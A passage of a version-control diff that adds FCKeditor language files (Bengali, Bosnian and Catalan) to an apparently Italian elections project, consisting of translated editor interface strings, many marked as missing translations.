+DlgLstTypeLCase		: "ছোট অক্ষর (a, b, c)",
+DlgLstTypeUCase		: "বড় অক্ষর (A, B, C)",
+DlgLstTypeSRoman	: "ছোট রোমান সংখ্যা (i, ii, iii)",
+DlgLstTypeLRoman	: "বড় রোমান সংখ্যা (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "সাধারন",
+DlgDocBackTab		: "ব্যাকগ্রাউন্ড",
+DlgDocColorsTab		: "রং এবং মার্জিন",
+DlgDocMetaTab		: "মেটাডেটা",
+
+DlgDocPageTitle		: "পেজ শীর্ষক",
+DlgDocLangDir		: "ভাষা লিখার দিক",
+DlgDocLangDirLTR	: "বাম থেকে ডানে (LTR)",
+DlgDocLangDirRTL	: "ডান থেকে বামে (RTL)",
+DlgDocLangCode		: "ভাষা কোড",
+DlgDocCharSet		: "ক্যারেক্টার সেট এনকোডিং",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "অন্য ক্যারেক্টার সেট এনকোডিং",
+
+DlgDocDocType		: "ডক্যুমেন্ট টাইপ হেডিং",
+DlgDocDocTypeOther	: "অন্য ডক্যুমেন্ট টাইপ হেডিং",
+DlgDocIncXHTML		: "XHTML ডেক্লারেশন যুক্ত কর",
+DlgDocBgColor		: "ব্যাকগ্রাউন্ড রং",
+DlgDocBgImage		: "ব্যাকগ্রাউন্ড ছবির URL",
+DlgDocBgNoScroll	: "স্ক্রলহীন ব্যাকগ্রাউন্ড",
+DlgDocCText			: "টেক্সট",
+DlgDocCLink			: "লিংক",
+DlgDocCVisited		: "ভিজিট করা লিংক",
+DlgDocCActive		: "সক্রিয় লিংক",
+DlgDocMargins		: "পেজ মার্জিন",
+DlgDocMaTop			: "উপর",
+DlgDocMaLeft		: "বামে",
+DlgDocMaRight		: "ডানে",
+DlgDocMaBottom		: "নীচে",
+DlgDocMeIndex		: "ডক্যুমেন্ট ইন্ডেক্স কিওয়ার্ড (কমা দ্বারা বিচ্ছিন্ন)",
+DlgDocMeDescr		: "ডক্যূমেন্ট বর্ণনা",
+DlgDocMeAuthor		: "লেখক",
+DlgDocMeCopy		: "কপীরাইট",
+DlgDocPreview		: "প্রীভিউ",
+
+// Templates Dialog
+Templates			: "টেমপ্লেট",
+DlgTemplatesTitle	: "কনটেন্ট টেমপ্লেট",
+DlgTemplatesSelMsg	: "অনুগ্রহ করে এডিটরে ওপেন করার জন্য টেমপ্লেট বাছাই করুন<br>(আসল কনটেন্ট হারিয়ে যাবে):",
+DlgTemplatesLoading	: "টেমপ্লেট লিস্ট হারিয়ে যাবে। অনুগ্রহ করে অপেক্ষা করুন...",
+DlgTemplatesNoTpl	: "(কোন টেমপ্লেট ডিফাইন করা নেই)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "কে বানিয়েছে",
+DlgAboutBrowserInfoTab	: "ব্রাউজারের ব্যাপারে তথ্য",
+DlgAboutLicenseTab	: "লাইসেন্স",
+DlgAboutVersion		: "ভার্সন",
+DlgAboutLicense		: "লাইসেন্স GNU LGPL এর নীতিমালার অধীনে ",
+DlgAboutInfo		: "আরও তথ্যের জন্য যান"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bs.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bs.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bs.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: bs.js
+ * 	Bosnian language file.
+ * 
+ * File Authors:
+ * 		Muris Trax (www.elektronika.ba)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Skupi trake sa alatima",
+ToolbarExpand		: "Otvori trake sa alatima",
+
+// Toolbar Items and Context Menu
+Save				: "Snimi",
+NewPage				: "Novi dokument",
+Preview				: "Prikaži",
+Cut					: "Izreži",
+Copy				: "Kopiraj",
+Paste				: "Zalijepi",
+PasteText			: "Zalijepi kao obièan tekst",
+PasteWord			: "Zalijepi iz Word-a",
+Print				: "Štampaj",
+SelectAll			: "Selektuj sve",
+RemoveFormat		: "Poništi format",
+InsertLinkLbl		: "Link",
+InsertLink			: "Ubaci/Izmjeni link",
+RemoveLink			: "Izbriši link",
+Anchor				: "Insert/Edit Anchor",	//MISSING
+InsertImageLbl		: "Slika",
+InsertImage			: "Ubaci/Izmjeni sliku",
+InsertFlashLbl		: "Flash",	//MISSING
+InsertFlash			: "Insert/Edit Flash",	//MISSING
+InsertTableLbl		: "Tabela",
+InsertTable			: "Ubaci/Izmjeni tabelu",
+InsertLineLbl		: "Linija",
+InsertLine			: "Ubaci horizontalnu liniju",
+InsertSpecialCharLbl: "Specijalni karakter",
+InsertSpecialChar	: "Ubaci specijalni karater",
+InsertSmileyLbl		: "Smješko",
+InsertSmiley		: "Ubaci smješka",
+About				: "O FCKeditor-u",
+Bold				: "Boldiraj",
+Italic				: "Ukosi",
+Underline			: "Podvuci",
+StrikeThrough		: "Precrtaj",
+Subscript			: "Subscript",
+Superscript			: "Superscript",
+LeftJustify			: "Lijevo poravnanje",
+CenterJustify		: "Centralno poravnanje",
+RightJustify		: "Desno poravnanje",
+BlockJustify		: "Puno poravnanje",
+DecreaseIndent		: "Smanji uvod",
+IncreaseIndent		: "Poveæaj uvod",
+Undo				: "Vrati",
+Redo				: "Ponovi",
+NumberedListLbl		: "Numerisana lista",
+NumberedList		: "Ubaci/Izmjeni numerisanu listu",
+BulletedListLbl		: "Lista",
+BulletedList		: "Ubaci/Izmjeni listu",
+ShowTableBorders	: "Pokaži okvire tabela",
+ShowDetails			: "Pokaži detalje",
+Style				: "Stil",
+FontFormat			: "Format",
+Font				: "Font",
+FontSize			: "Velièina",
+TextColor			: "Boja teksta",
+BGColor				: "Boja pozadine",
+Source				: "HTML kôd",
+Find				: "Naði",
+Replace				: "Zamjeni",
+SpellCheck			: "Check Spelling",	//MISSING
+UniversalKeyboard	: "Universal Keyboard",	//MISSING
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "Form",	//MISSING
+Checkbox		: "Checkbox",	//MISSING
+RadioButton		: "Radio Button",	//MISSING
+TextField		: "Text Field",	//MISSING
+Textarea		: "Textarea",	//MISSING
+HiddenField		: "Hidden Field",	//MISSING
+Button			: "Button",	//MISSING
+SelectionField	: "Selection Field",	//MISSING
+ImageButton		: "Image Button",	//MISSING
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Izmjeni link",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Ubaci red",
+DeleteRows			: "Briši redove",
+InsertColumn		: "Ubaci kolonu",
+DeleteColumns		: "Briši kolone",
+InsertCell			: "Ubaci æeliju",
+DeleteCells			: "Briši æelije",
+MergeCells			: "Spoji æelije",
+SplitCell			: "Razdvoji æeliju",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "Svojstva æelije",
+TableProperties		: "Svojstva tabele",
+ImageProperties		: "Svojstva slike",
+FlashProperties		: "Flash Properties",	//MISSING
+
+AnchorProp			: "Anchor Properties",	//MISSING
+ButtonProp			: "Button Properties",	//MISSING
+CheckboxProp		: "Checkbox Properties",	//MISSING
+HiddenFieldProp		: "Hidden Field Properties",	//MISSING
+RadioButtonProp		: "Radio Button Properties",	//MISSING
+ImageButtonProp		: "Image Button Properties",	//MISSING
+TextFieldProp		: "Text Field Properties",	//MISSING
+SelectionFieldProp	: "Selection Field Properties",	//MISSING
+TextareaProp		: "Textarea Properties",	//MISSING
+FormProp			: "Form Properties",	//MISSING
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Procesiram XHTML. Molim saèekajte...",
+Done				: "Gotovo",
+PasteWordConfirm	: "Tekst koji želite zalijepiti èini se da je kopiran iz Worda. Da li želite da se prvo oèisti?",
+NotCompatiblePaste	: "Ova komanda je podržana u Internet Explorer-u verzijama 5.5 ili novijim. Da li želite da izvršite lijepljenje teksta bez èišæenja?",
+UnknownToolbarItem	: "Nepoznata stavka sa trake sa alatima \"%1\"",
+UnknownCommand		: "Nepoznata komanda \"%1\"",
+NotImplemented		: "Komanda nije implementirana",
+UnknownToolbarSet	: "Traka sa alatima \"%1\" ne postoji",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Odustani",
+DlgBtnClose			: "Zatvori",
+DlgBtnBrowseServer	: "Browse Server",	//MISSING
+DlgAdvancedTag		: "Naprednije",
+DlgOpOther			: "<Other>",	//MISSING
+DlgInfoTab			: "Info",	//MISSING
+DlgAlertUrl			: "Please insert the URL",	//MISSING
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nije podešeno>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Smjer pisanja",
+DlgGenLangDirLtr	: "S lijeva na desno (LTR)",
+DlgGenLangDirRtl	: "S desna na lijevo (RTL)",
+DlgGenLangCode		: "Jezièni kôd",
+DlgGenAccessKey		: "Pristupna tipka",
+DlgGenName			: "Naziv",
+DlgGenTabIndex		: "Tab indeks",
+DlgGenLongDescr		: "Dugaèki opis URL-a",
+DlgGenClass			: "Klase CSS stilova",
+DlgGenTitle			: "Advisory title",
+DlgGenContType		: "Advisory vrsta sadržaja",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Stil",
+
+// Image Dialog
+DlgImgTitle			: "Svojstva slike",
+DlgImgInfoTab		: "Info slike",
+DlgImgBtnUpload		: "Šalji na server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Šalji",
+DlgImgAlt			: "Tekst na slici",
+DlgImgWidth			: "Širina",
+DlgImgHeight		: "Visina",
+DlgImgLockRatio		: "Zakljuèaj odnos",
+DlgBtnResetSize		: "Resetuj dimenzije",
+DlgImgBorder		: "Okvir",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Poravnanje",
+DlgImgAlignLeft		: "Lijevo",
+DlgImgAlignAbsBottom: "Abs dole",
+DlgImgAlignAbsMiddle: "Abs sredina",
+DlgImgAlignBaseline	: "Bazno",
+DlgImgAlignBottom	: "Dno",
+DlgImgAlignMiddle	: "Sredina",
+DlgImgAlignRight	: "Desno",
+DlgImgAlignTextTop	: "Vrh teksta",
+DlgImgAlignTop		: "Vrh",
+DlgImgPreview		: "Prikaz",
+DlgImgAlertUrl		: "Molimo ukucajte URL od slike.",
+DlgImgLinkTab		: "Link",	//MISSING
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",	//MISSING
+DlgFlashChkPlay		: "Auto Play",	//MISSING
+DlgFlashChkLoop		: "Loop",	//MISSING
+DlgFlashChkMenu		: "Enable Flash Menu",	//MISSING
+DlgFlashScale		: "Scale",	//MISSING
+DlgFlashScaleAll	: "Show all",	//MISSING
+DlgFlashScaleNoBorder	: "No Border",	//MISSING
+DlgFlashScaleFit	: "Exact Fit",	//MISSING
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Link info",
+DlgLnkTargetTab		: "Prozor",
+
+DlgLnkType			: "Tip linka",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Sidro na ovoj stranici",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<drugi>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Izaberi sidro",
+DlgLnkAnchorByName	: "Po nazivu sidra",
+DlgLnkAnchorById	: "Po Id-u elementa",
+DlgLnkNoAnchors		: "<Nema dostupnih sidra na stranici>",
+DlgLnkEMail			: "E-Mail Adresa",
+DlgLnkEMailSubject	: "Subjekt poruke",
+DlgLnkEMailBody		: "Poruka",
+DlgLnkUpload		: "Šalji",
+DlgLnkBtnUpload		: "Šalji na server",
+
+DlgLnkTarget		: "Prozor",
+DlgLnkTargetFrame	: "<frejm>",
+DlgLnkTargetPopup	: "<popup prozor>",
+DlgLnkTargetBlank	: "Novi prozor (_blank)",
+DlgLnkTargetParent	: "Glavni prozor (_parent)",
+DlgLnkTargetSelf	: "Isti prozor (_self)",
+DlgLnkTargetTop		: "Najgornji prozor (_top)",
+DlgLnkTargetFrameName	: "Target Frame Name",	//MISSING
+DlgLnkPopWinName	: "Naziv popup prozora",
+DlgLnkPopWinFeat	: "Moguænosti popup prozora",
+DlgLnkPopResize		: "Promjenljive velièine",
+DlgLnkPopLocation	: "Traka za lokaciju",
+DlgLnkPopMenu		: "Izborna traka",
+DlgLnkPopScroll		: "Scroll traka",
+DlgLnkPopStatus		: "Statusna traka",
+DlgLnkPopToolbar	: "Traka sa alatima",
+DlgLnkPopFullScrn	: "Cijeli ekran (IE)",
+DlgLnkPopDependent	: "Ovisno (Netscape)",
+DlgLnkPopWidth		: "Širina",
+DlgLnkPopHeight		: "Visina",
+DlgLnkPopLeft		: "Lijeva pozicija",
+DlgLnkPopTop		: "Gornja pozicija",
+
+DlnLnkMsgNoUrl		: "Molimo ukucajte URL link",
+DlnLnkMsgNoEMail	: "Molimo ukucajte e-mail adresu",
+DlnLnkMsgNoAnchor	: "Molimo izaberite sidro",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Izaberi boju",
+DlgColorBtnClear	: "Oèisti",
+DlgColorHighlight	: "Igled",
+DlgColorSelected	: "Selektovana",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Ubaci smješka",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Izaberi specijalni karakter",
+
+// Table Dialog
+DlgTableTitle		: "Svojstva tabele",
+DlgTableRows		: "Redova",
+DlgTableColumns		: "Kolona",
+DlgTableBorder		: "Okvir",
+DlgTableAlign		: "Poravnanje",
+DlgTableAlignNotSet	: "<Nije podešeno>",
+DlgTableAlignLeft	: "Lijevo",
+DlgTableAlignCenter	: "Centar",
+DlgTableAlignRight	: "Desno",
+DlgTableWidth		: "Širina",
+DlgTableWidthPx		: "piksela",
+DlgTableWidthPc		: "posto",
+DlgTableHeight		: "Visina",
+DlgTableCellSpace	: "Razmak æelija",
+DlgTableCellPad		: "Uvod æelija",
+DlgTableCaption		: "Naslov",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "Svojstva æelije",
+DlgCellWidth		: "Širina",
+DlgCellWidthPx		: "piksela",
+DlgCellWidthPc		: "posto",
+DlgCellHeight		: "Visina",
+DlgCellWordWrap		: "Vrapuj tekst",
+DlgCellWordWrapNotSet	: "<Nije podešeno>",
+DlgCellWordWrapYes	: "Da",
+DlgCellWordWrapNo	: "Ne",
+DlgCellHorAlign		: "Horizontalno poravnanje",
+DlgCellHorAlignNotSet	: "<Nije podešeno>",
+DlgCellHorAlignLeft	: "Lijevo",
+DlgCellHorAlignCenter	: "Centar",
+DlgCellHorAlignRight: "Desno",
+DlgCellVerAlign		: "Vertikalno poravnanje",
+DlgCellVerAlignNotSet	: "<Nije podešeno>",
+DlgCellVerAlignTop	: "Gore",
+DlgCellVerAlignMiddle	: "Sredina",
+DlgCellVerAlignBottom	: "Dno",
+DlgCellVerAlignBaseline	: "Bazno",
+DlgCellRowSpan		: "Spajanje æelija",
+DlgCellCollSpan		: "Spajanje kolona",
+DlgCellBackColor	: "Boja pozadine",
+DlgCellBorderColor	: "Boja okvira",
+DlgCellBtnSelect	: "Selektuj...",
+
+// Find Dialog
+DlgFindTitle		: "Naði",
+DlgFindFindBtn		: "Naði",
+DlgFindNotFoundMsg	: "Traženi tekst nije pronaðen.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Zamjeni",
+DlgReplaceFindLbl		: "Naði šta:",
+DlgReplaceReplaceLbl	: "Zamjeni sa:",
+DlgReplaceCaseChk		: "Uporeðuj velika/mala slova",
+DlgReplaceReplaceBtn	: "Zamjeni",
+DlgReplaceReplAllBtn	: "Zamjeni sve",
+DlgReplaceWordChk		: "Uporeðuj samo cijelu rijeè",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Sigurnosne postavke vašeg pretraživaèa ne dozvoljavaju operacije automatskog lijepljenja. Molimo koristite kraticu na tastaturi (Ctrl+V).",
+PasteErrorCut	: "Sigurnosne postavke vašeg pretraživaèa ne dozvoljavaju operacije automatskog rezanja. Molimo koristite kraticu na tastaturi (Ctrl+X).",
+PasteErrorCopy	: "Sigurnosne postavke Vašeg pretraživaèa ne dozvoljavaju operacije automatskog kopiranja. Molimo koristite kraticu na tastaturi (Ctrl+C).",
+
+PasteAsText		: "Zalijepi kao obièan tekst",
+PasteFromWord	: "Zalijepi iz Word-a",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",	//MISSING
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",	//MISSING
+DlgPasteRemoveStyles	: "Remove Styles definitions",	//MISSING
+DlgPasteCleanBox		: "Clean Up Box",	//MISSING
+
+// Color Picker
+ColorAutomatic	: "Automatska",
+ColorMoreColors	: "Više boja...",
+
+// Document Properties
+DocProps		: "Document Properties",	//MISSING
+
+// Anchor Dialog
+DlgAnchorTitle		: "Anchor Properties",	//MISSING
+DlgAnchorName		: "Anchor Name",	//MISSING
+DlgAnchorErrorName	: "Please type the anchor name",	//MISSING
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Not in dictionary",	//MISSING
+DlgSpellChangeTo		: "Change to",	//MISSING
+DlgSpellBtnIgnore		: "Ignore",	//MISSING
+DlgSpellBtnIgnoreAll	: "Ignore All",	//MISSING
+DlgSpellBtnReplace		: "Replace",	//MISSING
+DlgSpellBtnReplaceAll	: "Replace All",	//MISSING
+DlgSpellBtnUndo			: "Undo",	//MISSING
+DlgSpellNoSuggestions	: "- No suggestions -",	//MISSING
+DlgSpellProgress		: "Spell check in progress...",	//MISSING
+DlgSpellNoMispell		: "Spell check complete: No misspellings found",	//MISSING
+DlgSpellNoChanges		: "Spell check complete: No words changed",	//MISSING
+DlgSpellOneChange		: "Spell check complete: One word changed",	//MISSING
+DlgSpellManyChanges		: "Spell check complete: %1 words changed",	//MISSING
+
+IeSpellDownload			: "Spell checker not installed. Do you want to download it now?",	//MISSING
+
+// Button Dialog
+DlgButtonText		: "Text (Value)",	//MISSING
+DlgButtonType		: "Type",	//MISSING
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Name",	//MISSING
+DlgCheckboxValue	: "Value",	//MISSING
+DlgCheckboxSelected	: "Selected",	//MISSING
+
+// Form Dialog
+DlgFormName		: "Name",	//MISSING
+DlgFormAction	: "Action",	//MISSING
+DlgFormMethod	: "Method",	//MISSING
+
+// Select Field Dialog
+DlgSelectName		: "Name",	//MISSING
+DlgSelectValue		: "Value",	//MISSING
+DlgSelectSize		: "Size",	//MISSING
+DlgSelectLines		: "lines",	//MISSING
+DlgSelectChkMulti	: "Allow multiple selections",	//MISSING
+DlgSelectOpAvail	: "Available Options",	//MISSING
+DlgSelectOpText		: "Text",	//MISSING
+DlgSelectOpValue	: "Value",	//MISSING
+DlgSelectBtnAdd		: "Add",	//MISSING
+DlgSelectBtnModify	: "Modify",	//MISSING
+DlgSelectBtnUp		: "Up",	//MISSING
+DlgSelectBtnDown	: "Down",	//MISSING
+DlgSelectBtnSetValue : "Set as selected value",	//MISSING
+DlgSelectBtnDelete	: "Delete",	//MISSING
+
+// Textarea Dialog
+DlgTextareaName	: "Name",	//MISSING
+DlgTextareaCols	: "Columns",	//MISSING
+DlgTextareaRows	: "Rows",	//MISSING
+
+// Text Field Dialog
+DlgTextName			: "Name",	//MISSING
+DlgTextValue		: "Value",	//MISSING
+DlgTextCharWidth	: "Character Width",	//MISSING
+DlgTextMaxChars		: "Maximum Characters",	//MISSING
+DlgTextType			: "Type",	//MISSING
+DlgTextTypeText		: "Text",	//MISSING
+DlgTextTypePass		: "Password",	//MISSING
+
+// Hidden Field Dialog
+DlgHiddenName	: "Name",	//MISSING
+DlgHiddenValue	: "Value",	//MISSING
+
+// Bulleted List Dialog
+BulletedListProp	: "Bulleted List Properties",	//MISSING
+NumberedListProp	: "Numbered List Properties",	//MISSING
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Type",	//MISSING
+DlgLstTypeCircle	: "Circle",	//MISSING
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "Square",	//MISSING
+DlgLstTypeNumbers	: "Numbers (1, 2, 3)",	//MISSING
+DlgLstTypeLCase		: "Lowercase Letters (a, b, c)",	//MISSING
+DlgLstTypeUCase		: "Uppercase Letters (A, B, C)",	//MISSING
+DlgLstTypeSRoman	: "Small Roman Numerals (i, ii, iii)",	//MISSING
+DlgLstTypeLRoman	: "Large Roman Numerals (I, II, III)",	//MISSING
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",	//MISSING
+DlgDocBackTab		: "Background",	//MISSING
+DlgDocColorsTab		: "Colors and Margins",	//MISSING
+DlgDocMetaTab		: "Meta Data",	//MISSING
+
+DlgDocPageTitle		: "Page Title",	//MISSING
+DlgDocLangDir		: "Language Direction",	//MISSING
+DlgDocLangDirLTR	: "Left to Right (LTR)",	//MISSING
+DlgDocLangDirRTL	: "Right to Left (RTL)",	//MISSING
+DlgDocLangCode		: "Language Code",	//MISSING
+DlgDocCharSet		: "Character Set Encoding",	//MISSING
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Other Character Set Encoding",	//MISSING
+
+DlgDocDocType		: "Document Type Heading",	//MISSING
+DlgDocDocTypeOther	: "Other Document Type Heading",	//MISSING
+DlgDocIncXHTML		: "Include XHTML Declarations",	//MISSING
+DlgDocBgColor		: "Background Color",	//MISSING
+DlgDocBgImage		: "Background Image URL",	//MISSING
+DlgDocBgNoScroll	: "Nonscrolling Background",	//MISSING
+DlgDocCText			: "Text",	//MISSING
+DlgDocCLink			: "Link",	//MISSING
+DlgDocCVisited		: "Visited Link",	//MISSING
+DlgDocCActive		: "Active Link",	//MISSING
+DlgDocMargins		: "Page Margins",	//MISSING
+DlgDocMaTop			: "Top",	//MISSING
+DlgDocMaLeft		: "Left",	//MISSING
+DlgDocMaRight		: "Right",	//MISSING
+DlgDocMaBottom		: "Bottom",	//MISSING
+DlgDocMeIndex		: "Document Indexing Keywords (comma separated)",	//MISSING
+DlgDocMeDescr		: "Document Description",	//MISSING
+DlgDocMeAuthor		: "Author",	//MISSING
+DlgDocMeCopy		: "Copyright",	//MISSING
+DlgDocPreview		: "Preview",	//MISSING
+
+// Templates Dialog
+Templates			: "Templates",	//MISSING
+DlgTemplatesTitle	: "Content Templates",	//MISSING
+DlgTemplatesSelMsg	: "Please select the template to open in the editor<br>(the actual contents will be lost):",	//MISSING
+DlgTemplatesLoading	: "Loading templates list. Please wait...",	//MISSING
+DlgTemplatesNoTpl	: "(No templates defined)",	//MISSING
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "About",	//MISSING
+DlgAboutBrowserInfoTab	: "Browser Info",	//MISSING
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "verzija",
+DlgAboutLicense		: "Licencirano pod uslovima GNU Lesser General Public License",
+DlgAboutInfo		: "Za više informacija posjetite"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ca.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ca.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ca.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: ca.js
+ * 	Catalan language file.
+ * 
+ * File Authors:
+ * 		Jordi Cerdan (nan@myp.ad)
+ * 		Marc Folch (mcus21@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Col·lapsa la barra",
+ToolbarExpand		: "Amplia la barra",
+
+// Toolbar Items and Context Menu
+Save				: "Desa",
+NewPage				: "Nova Pàgina",
+Preview				: "Vista Prèvia",
+Cut					: "Retalla",
+Copy				: "Copia",
+Paste				: "Enganxa",
+PasteText			: "Enganxa com a text no formatat",
+PasteWord			: "Enganxa des del Word",
+Print				: "Imprimeix",
+SelectAll			: "Selecciona-ho tot",
+RemoveFormat		: "Elimina Format",
+InsertLinkLbl		: "Enllaç",
+InsertLink			: "Insereix/Edita enllaç",
+RemoveLink			: "Elimina enllaç",
+Anchor				: "Insereix/Edita àncora",
+InsertImageLbl		: "Imatge",
+InsertImage			: "Insereix/Edita imatge",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Insereix/Edita Flash",
+InsertTableLbl		: "Taula",
+InsertTable			: "Insereix/Edita taula",
+InsertLineLbl		: "Línia",
+InsertLine			: "Insereix línia horitzontal",
+InsertSpecialCharLbl: "Caràcter Especial",
+InsertSpecialChar	: "Insereix caràcter especial",
+InsertSmileyLbl		: "Icona",
+InsertSmiley		: "Insereix icona",
+About				: "Quant a FCKeditor",
+Bold				: "Negreta",
+Italic				: "Cursiva",
+Underline			: "Subratllat",
+StrikeThrough		: "Barrat",
+Subscript			: "Subíndex",
+Superscript			: "Superíndex",
+LeftJustify			: "Aliniament esquerra",
+CenterJustify		: "Aliniament centrat",
+RightJustify		: "Aliniament dreta",
+BlockJustify		: "Justifica",
+DecreaseIndent		: "Sagna el text",
+IncreaseIndent		: "Treu el sagnat del text",
+Undo				: "Desfés",
+Redo				: "Refés",
+NumberedListLbl		: "Llista numerada",
+NumberedList		: "Aplica o elimina la llista numerada",
+BulletedListLbl		: "Llista de pics",
+BulletedList		: "Aplica o elimina la llista de pics",
+ShowTableBorders	: "Mostra les vores de les taules",
+ShowDetails			: "Mostra detalls",
+Style				: "Estil",
+FontFormat			: "Format",
+Font				: "Tipus de lletra",
+FontSize			: "Mida",
+TextColor			: "Color de Text",
+BGColor				: "Color de Fons",
+Source				: "Codi font",
+Find				: "Cerca",
+Replace				: "Reemplaça",
+SpellCheck			: "Revisa l'ortografia",
+UniversalKeyboard	: "Teclat universal",
+PageBreakLbl		: "Salt de pàgina",
+PageBreak			: "Insereix salt de pàgina",
+
+Form			: "Formulari",
+Checkbox		: "Casella de verificació",
+RadioButton		: "Botó d'opció",
+TextField		: "Camp de text",
+Textarea		: "Àrea de text",
+HiddenField		: "Camp ocult",
+Button			: "Botó",
+SelectionField	: "Camp de selecció",
+ImageButton		: "Botó d'imatge",
+
+FitWindow		: "Maximiza la mida de l'editor",
+
+// Context Menu
+EditLink			: "Edita l'enllaç",
+CellCM				: "Cel·la",
+RowCM				: "Fila",
+ColumnCM			: "Columna",
+InsertRow			: "Insereix una fila",
+DeleteRows			: "Suprimeix una fila",
+InsertColumn		: "Afegeix una columna",
+DeleteColumns		: "Suprimeix una columna",
+InsertCell			: "Insereix una cel·la",
+DeleteCells			: "Suprimeix les cel·les",
+MergeCells			: "Fusiona les cel·les",
+SplitCell			: "Separa les cel·les",
+TableDelete			: "Suprimeix la taula",
+CellProperties		: "Propietats de la cel·la",
+TableProperties		: "Propietats de la taula",
+ImageProperties		: "Propietats de la imatge",
+FlashProperties		: "Propietats del Flash",
+
+AnchorProp			: "Propietats de l'àncora",
